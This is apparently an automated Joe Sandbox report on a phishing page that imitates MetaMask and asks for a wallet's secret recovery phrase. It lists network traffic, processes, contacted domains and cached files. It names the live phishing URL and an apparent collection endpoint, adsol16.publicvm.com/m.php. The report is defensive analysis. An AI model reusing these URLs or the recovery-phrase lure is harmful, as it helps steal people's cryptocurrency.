Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://promisesaplus.com/#point-57
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://promisesaplus.com/#point-59
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://promisesaplus.com/#point-61
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://promisesaplus.com/#point-64
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://promisesaplus.com/#point-75
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49760 version: TLS 1.2

Source: classification engine

Classification label: mal56.phis.win@17/39@20/10

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=2412,i,13320635165213264262,11456466391061139777,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=2412,i,13320635165213264262,11456466391061139777,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Confirm
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Confirm

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
http://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html	100%	SlashNext	Fraudulent Website type: Phishing & Social usering

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://bugs.webkit.org/show_bug.cgi?id=136851	0%	URL Reputation	safe
http://jquery.org/license	0%	URL Reputation	safe
https://jsperf.com/thor-indexof-vs-for/5	0%	URL Reputation	safe
https://bugs.jquery.com/ticket/12359	0%	URL Reputation	safe
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	0%	URL Reputation	safe
https://promisesaplus.com/#point-75	0%	URL Reputation	safe
https://drafts.csswg.org/cssom/#common-serializing-idioms	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	0%	URL Reputation	safe
https://bugs.webkit.org/show_bug.cgi?id=29084	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled	0%	URL Reputation	safe
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	0%	URL Reputation	safe
https://bestfilltype.netlify.app/full.png	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	0%	URL Reputation	safe
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	0%	URL Reputation	safe
http://opensource.org/licenses/MIT).	0%	URL Reputation	safe
https://bugs.jquery.com/ticket/13378	0%	URL Reputation	safe
https://promisesaplus.com/#point-64	0%	URL Reputation	safe
https://bestfilltype.netlify.app/confirm.png	0%	URL Reputation	safe
https://promisesaplus.com/#point-61	0%	URL Reputation	safe
https://bestfilltype.netlify.app/eye-open.png	0%	URL Reputation	safe
https://drafts.csswg.org/cssom/#resolved-values	0%	URL Reputation	safe
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	0%	URL Reputation	safe
https://code.jquery.com/jquery-3.1.1.min.js	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/syntax.html#attributes-2	0%	URL Reputation	safe
https://metamask.io/	0%	URL Reputation	safe
https://promisesaplus.com/#point-59	0%	URL Reputation	safe
https://jsperf.com/getall-vs-sizzle/2	0%	URL Reputation	safe
https://promisesaplus.com/#point-57	0%	URL Reputation	safe
https://promisesaplus.com/#point-54	0%	URL Reputation	safe
https://code.jquery.com/jquery-3.3.1.js	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/forms.html#category-listed	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/CSS/display	0%	URL Reputation	safe
https://jquery.org/license	0%	URL Reputation	safe
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	0%	URL Reputation	safe
https://jquery.com/	0%	URL Reputation	safe
https://bestfilltype.netlify.app/icon.png	0%	URL Reputation	safe
https://bugs.webkit.org/show_bug.cgi?id=137337	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled	0%	URL Reputation	safe
https://promisesaplus.com/#point-48	0%	URL Reputation	safe
https://bestfilltype.netlify.app/logo.png	0%	URL Reputation	safe
https://bestfilltype.netlify.app/eye-close.png	0%	URL Reputation	safe
https://sizzlejs.com/	0%	URL Reputation	safe
https://bugs.chromium.org/p/chromium/issues/detail?id=449857	0%	URL Reputation	safe
https://bestfilltype.netlify.app/tada.png	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
gtomitsuka.github.io	185.199.109.153	true	false	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
code.jquery.com	151.101.194.137	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev	172.66.0.235	true	false	unknown
www.google.com	142.250.184.228	true	false	unknown
bestfilltype.netlify.app	35.156.224.161	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://gtomitsuka.github.io/gibberish-detector.js/gibberish.min.js	false		unknown
https://bestfilltype.netlify.app/full.png	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/confirm.png	false	URL Reputation: safe	unknown
http://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html	true		unknown
https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html	false		unknown
https://code.jquery.com/jquery-3.1.1.min.js	false	URL Reputation: safe	unknown
https://code.jquery.com/jquery-3.3.1.js	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/icon.png	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/logo.png	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/eye-close.png	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/tada.png	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://bugs.webkit.org/show_bug.cgi?id=136851	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
http://jquery.org/license	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://jsperf.com/thor-indexof-vs-for/5	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://bugs.jquery.com/ticket/12359	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_65.2.dr, chromecache_62.2.dr	false		unknown
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-75	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a	chromecache_65.2.dr, chromecache_62.2.dr	false		unknown
https://drafts.csswg.org/cssom/#common-serializing-idioms	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://github.com/eslint/eslint/issues/6125	chromecache_65.2.dr, chromecache_62.2.dr	false		unknown
https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://github.com/jquery/jquery/pull/557)	chromecache_65.2.dr, chromecache_62.2.dr	false		unknown
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_65.2.dr, chromecache_62.2.dr	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
http://opensource.org/licenses/MIT).	chromecache_69.2.dr, chromecache_57.2.dr	false	URL Reputation: safe	unknown
https://bugs.jquery.com/ticket/13378	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-64	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-61	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/eye-open.png	chromecache_53.2.dr	false	URL Reputation: safe	unknown
https://drafts.csswg.org/cssom/#resolved-values	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/syntax.html#attributes-2	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://metamask.io/	chromecache_53.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-59	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://jsperf.com/getall-vs-sizzle/2	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-57	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://github.com/eslint/eslint/issues/3229	chromecache_65.2.dr, chromecache_62.2.dr	false		unknown
https://promisesaplus.com/#point-54	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/forms.html#category-listed	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://jquery.org/license	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://jquery.com/	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://bugs.webkit.org/show_bug.cgi?id=137337	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://adsol16.publicvm.com/m.php	chromecache_53.2.dr	false		unknown
https://promisesaplus.com/#point-48	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://github.com/jquery/sizzle/pull/225	chromecache_65.2.dr, chromecache_62.2.dr	false		unknown
https://sizzlejs.com/	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown
https://bugs.chromium.org/p/chromium/issues/detail?id=449857	chromecache_65.2.dr, chromecache_62.2.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
185.199.109.153	gtomitsuka.github.io	Netherlands	54113	FASTLYUS	false
185.199.111.153	unknown	Netherlands	54113	FASTLYUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.66.0.235	pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev	United States	13335	CLOUDFLARENETUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false
35.156.224.161	bestfilltype.netlify.app	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1521598
Start date and time:	2024-09-29 00:58:00 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.phis.win@17/39@20/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.227, 142.250.186.142, 74.125.133.84, 34.104.35.123, 142.250.185.170, 142.250.184.234, 142.250.186.99, 142.250.185.234, 172.217.16.202, 216.58.212.170, 142.250.186.74, 172.217.23.106, 142.250.185.138, 216.58.206.74, 142.250.186.106, 142.250.185.106, 142.250.186.138, 216.58.212.138, 142.250.186.42, 172.217.18.10, 142.250.185.202, 142.250.185.74, 52.165.165.26, 192.229.221.95, 13.95.31.18, 93.184.221.240, 13.85.23.206, 172.217.16.195
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, wu.azureedge.net, clients2.google.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, client.wns.windows.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ajax.googleapis.com, fonts.gstatic.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html

Simulations

Behavior and APIs

⊘No simulations

LLM Input / Output

Input	Output
URL: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html Model: jbxai	{ "brand":["MetaMask"], "contains_trigger_text":true, "trigger_text":"Access your wallet with your Secret Recovery Phrase", "prominent_button_name":"Confirm", "text_input_field_labels":["eye-close", "eye-close", "eye-close", "eye-close", "eye-close", "eye-close", "eye-close", "eye-close", "eye-close", "eye-close", "eye-close", "eye-close"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html Model: jbxai	{ "brand":["MetaMask"], "contains_trigger_text":true, "trigger_text":"You can paste your entire secret recovery phrase into any field", "prominent_button_name":"icon", "text_input_field_labels":["eye-close"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

Chrome Cache Entry: 48

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7884, version 1.0
Category:	downloaded
Size (bytes):	7884
Entropy (8bit):	7.971946419873228
Encrypted:	false
SSDEEP:	192:xLFDbKO9E3rS3JWBRO/J601FSS5ZUbik3Zy2f0:pd9J5W501otlI
MD5:	9212F6F9860F9FC6C69B02FEDF6DB8C3
SHA1:	AC6D71B4D5FDD2B3DABC9A06FF6C001E4251DA0B
SHA-256:	7D93459D86585BFCDBB7E0376056226ADB25821EE54B96236FE2123E9560929F
SHA-512:	67317495F4B53E20A9F31C034E456E6C37F387DFFB2C092CAA5159BC441CFCADD02749FFE5BBED1D580D5300A59E48A767EF2C6D9978B474F84C1A2CD095C126
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/poppins/v21/pxiEyp8kv8JHgFVrJJfecg.woff2
Preview:	wOF2..............?....x.............................`..T..L.6..6..6.$..h. ..\....~2.".8. .w.Q.Y,.?$pC.....)bT(i..@X.m...+...D.Q.O.\-?g.U..Z..._...l..!.lKD.Q..>.9v..V..<...Td$.E..,...o..c.t....!...#..8.A..3..cx~n=Di#....U......K.5jXH.].....j.(.6..]{..IDhZ.......R.....[..X".B~.(Su2..../.I.E...T.l%....'.N.aN.2\,70.....V.RQ..k~..".1. Lg.zd....}.yyys&D.K.g....)....2&%$.nm.\.._.e.tU..I.w;W.\|..6..XUv...!......>@.V..'..`.H`...5.7.X.?..@#..:..<.R.\|.;K..}.6..IA.C.....z.n.G............[.....z........`.X....D..{<..j...).......FQ..T..m.&s_k[%ZILV.8.l.o.z$.)/]......}..Kg.}..O...o\|..>.,U..?..{b<........._.._.06.........R01.@..[......a8..7.V%..B.0F...4 ....q..u#.lg....x....a.=w...8..A6.>f.+.8..Xm@`.m....G.....i..^R}9.aB...?._#.[f.d,V....bG.]...iED.@[.:.....P...........~.{,.x...~.!...C....b.....ze..).:+N....2sd..s..MEp.?^[.k........p..nz...[-.XI.%.."..`..<.2b\.w.VS.a.+......~..J..uGq..)..1...4o3v.Sb......5.w7...-....Wd>..B....R^.4'..B.2G>.en.q..._.@s......

Chrome Cache Entry: 49

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (502)
Category:	downloaded
Size (bytes):	928
Entropy (8bit):	5.333713221578333
Encrypted:	false
SSDEEP:	24:2zH6UD5xZsJYGt024zSyxciFNckPUgtLYcHY5uwQU:VGkiFNjUgtzHmu5U
MD5:	8D974AFF636CAB207793BF6D610F3B04
SHA1:	85FD44D22ABD86E2F83B887F3BBEDA06D29F78B9
SHA-256:	053185739C0926BB0DBCE6C3834392E05C605F28D57495FE076EA595BB45C53A
SHA-512:	9919371379E760E1BEA4662321EE5D0DF07A2712D4BD9C6680C5BC563EB801138BBD4814C120E967C5271F2B8ED9643AA1DF855CD10B5FEB5A9B06DB1FCE2F39
Malicious:	false
Reputation:	low
URL:	https://gtomitsuka.github.io/gibberish-detector.js/gibberish.min.js
Preview:	(function(h){function e(c,b,a){return c<b?(a=b-c,Math.log(b)/Math.log(a)100):c>a?(b=c-a,Math.log(100-a)/Math.log(b)100):0}function k(c){for(var b={},a="",d=0;d<c.length;++d)c[d]in b\|\|(b[c[d]]=1,a+=c[d]);return a}h.detect=function(c){if(0===c.length\|\|!c.trim())return 0;for(var b=c,a=[];a.length<b.length/35;)a.push(b.substring(0,35)),b=b.substring(36);1<=a.length&&10>a[a.length-1].length&&(a[a.length-2]+=a[a.length-1],a.pop());for(var b=[],d=0;d<a.length;d++)b.push(k(a[d]).length);a=100b;for(d=b=.0;d<a.length;d++)b+=parseFloat(a[d],10);a=b/a.length;for(var f=d=b=0;f<c.length;f++){var g=c.charAt(f);g.match(/^[a-zA-Z]+$/)&&(g.match(/^(a\|e\|i\|o\|u)$/i)&&b++,d++)}b=0!==d?b/d100:0;c=c.split(/[\W_]/).length/c.length100;a=Math.max(1,e(a,45,50));b=Math.max(1,e(b,35,45));c=Math.max(1,e(c,15,20));return Math.max(1,(Math.log10(a)+Math.log10(b)+Math.log10(c))/6100)}})("undefined"===typeof exports?this.gibberish={}:exports);.

Chrome Cache Entry: 50

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.7414678801994485
Encrypted:	false
SSDEEP:	3:ObynQA2d9Ui0TzUt:ObPH/Ui08
